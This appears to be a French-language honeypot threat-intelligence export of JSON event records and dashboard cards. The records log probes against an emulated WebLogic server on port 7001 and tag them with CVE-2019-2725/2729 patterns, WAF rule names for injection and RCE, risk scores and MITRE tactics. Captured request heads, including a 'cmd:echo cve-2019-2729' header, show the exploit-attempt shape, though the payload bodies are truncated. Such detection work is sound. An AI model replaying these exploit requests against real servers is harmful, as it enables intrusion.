"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "5f607796f47a9c4deebf8fbd05129012563f96fa",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.79106396881418,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "08e114ca7d0c70abb021ca884a234593093cbadd",
"event_fingerprint": "71c9d649a657c75fc8f876bf543423d1d6f54d4d",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0179",
"pat-0284"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CVE-2019-2725 WebLogic CVE-2019-2725",
"CRS 941130"
],
"pattern_ids": [
"pat-0842",
"pat-0179",
"pat-0284"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "874cde9dfca1bffddd33f2cca7afeeb9",
"path_pattern_hash": "01bc2c025b7f327650e4a8ec8490febd"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2729\r\nContent-Length:146384\r\n\r\n<soapenv:Envelope xmlns:s",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"evidence": {
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\ncmd:echo cve-2019-2729\r\nContent-Length:146384\r\n\r\n<soapenv:Envelope xmlns:s",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "97adecc501b12be320a41dec5fc22db059e252f9",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_contenttype_attack_surface",
"http_jwt_body",
"http_ssrf_body",
"net_web_probe"
]
}
24/07/2026 09:39:06 UTC
TCP
7001 · HTTP
Tentative d'exploit
exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /_async/test.txt
Élevée
Moyen · 52
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /_async/test.txt UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/_async/test.txt
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
7001
Chemin / cible
/_async/test.txt
Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62%
Confiance classification
70%
Corrélation +8
Risque capteur
Moyen
· 52
Confiance : Confiance 62 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /_async/test.txt HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /_async/test.txt HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100
Requête brute (extrait)
GET /_async/test.txt HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 2,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "txt",
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "f132837dafb537f9baac05210ff5fa9528dc49af",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 148,
"payload_entropy": 5.164199504819851,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 84,
"risk_classification": 72,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15
},
"risk_score": 52,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "040b6029d745bd5fabff8fd7e8d1d3603102b8df",
"event_fingerprint": "c642737bf8b558ec3a5e1f30cb19f01099cf8b7f",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"confidence": 0.7,
"classification_confidence": 0.7,
"precision_score": 73,
"precision_signals": [
"MITRE-T1190"
],
"kb_rule_ids": [
"MITRE-T1190"
],
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 62,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "d89759546602818195d4f0c05fe7195a",
"path_pattern_hash": "d3603213f10be60916357ef3a62b806d"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 52
},
"payload_preview": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100",
"method": "GET",
"path": "\/_async\/test.txt",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/_async\/test.txt HTTP\/1.1",
"request_sample": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100",
"evidence": {
"method": "GET",
"path": "\/_async\/test.txt",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/_async\/test.txt HTTP\/1.1",
"request_sample": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\n\r\n",
"payload_snippet": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100",
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "eb5b62fa1614615cb47bdd9d4f6c27e1a258f5d3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_async\/test.txt",
"request_line": "GET \/_async\/test.txt HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100",
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/test.txt",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 70,
"confidence_breakdown": {
"waf": 84,
"classification": 72,
"behavior": 0,
"geo": 0,
"protocol": 33,
"novelty": 15,
"risk_score": 52,
"correlation_boost": 8
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 52,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 7001,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190"
],
"tags_summary_labels_fr": [
"MITRE-T1190"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/_async\/test.txt",
"request_line": "GET \/_async\/test.txt HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/test.txt",
"evidence_snippet": "GET \/_async\/test.txt HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "7001"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
]
}
24/07/2026 09:39:06 UTC
TCP
7001 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:7001 · (tentative d'exploit) · → /_async/AsyncResponseService
Élevée
Élevé · 80
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /_async/AsyncResponseService UA Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/201001…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950079:sqli-19
950319:lfi-14
950326:rce-0
950327:rce-0
Cible HTTP
POST
/_async/AsyncResponseService
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
7001
Chemin / cible
/_async/AsyncResponseService
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
100%
Corrélation +8
Risque capteur
Élevé
· 80
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CVE-2019-2725 WebLogic CVE-2019-2725
Ligne de requête
POST /_async/AsyncResponseService HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Règles WAF
sqli-19
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /_async/AsyncResponseService HTTP/1.1
Host: 62.3.50.33:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0
Requête brute (extrait)
POST /_async/AsyncResponseService HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Content-Type:text/xml Cookie:478747e247375647 Content-Length:174391 <?xml version="1.0" enco
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043",
"emulator_response_len": 177,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "526c128160b99bde962deaec266d3dfbb4fd2ce3",
"http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b",
"http_target_hash": "5f607796f47a9c4deebf8fbd05129012563f96fa",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.7220475555688965,
"port_category": "registered",
"org": "Long Van System Solution JSC",
"service": "http",
"app_proto": "http",
"asn": 131386,
"country": "VN",
"dst_port": 7001,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 7.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "08e114ca7d0c70abb021ca884a234593093cbadd",
"event_fingerprint": "71c9d649a657c75fc8f876bf543423d1d6f54d4d",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0179"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CVE-2019-2725 WebLogic CVE-2019-2725"
],
"pattern_ids": [
"pat-0842",
"pat-0179"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "VN",
"asn": 131386,
"org": "Long Van System Solution JSC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "5b2b09a0df144ba2e29ec0938784c236",
"payload_hash": "6a7db47bdbe5c3da553450a17e5f34d9",
"path_pattern_hash": "01bc2c025b7f327650e4a8ec8490febd"
},
"target_context": {
"dst_port": 7001,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:478747e247375647\r\nContent-Length:174391\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"evidence": {
"method": "POST",
"path": "\/_async\/AsyncResponseService",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"waf_tags": [
"950079:sqli-19",
"950319:lfi-14",
"950326:rce-0",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"sqli-19",
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"request_sample": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0\r\nContent-Type:text\/xml\r\nCookie:478747e247375647\r\nContent-Length:174391\r\n\r\n<?xml version=\"1.0\" enco",
"payload_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "39b99bc475d83f654444a078c0f5fde1ad888740",
"protocol_details": {
"http_method": "POST",
"http_path": "\/_async\/AsyncResponseService",
"request_line": "POST \/_async\/AsyncResponseService HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko\/20100101 Firefox\/64.0",
"port": 7001,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/_async\/AsyncResponseService HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:64.0",
"attack_vector": "http smuggling probe \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/_async\/AsyncResponseService",
"target_port_label": "7001 \u00b7 HTTP",
"emulator_service": "http",
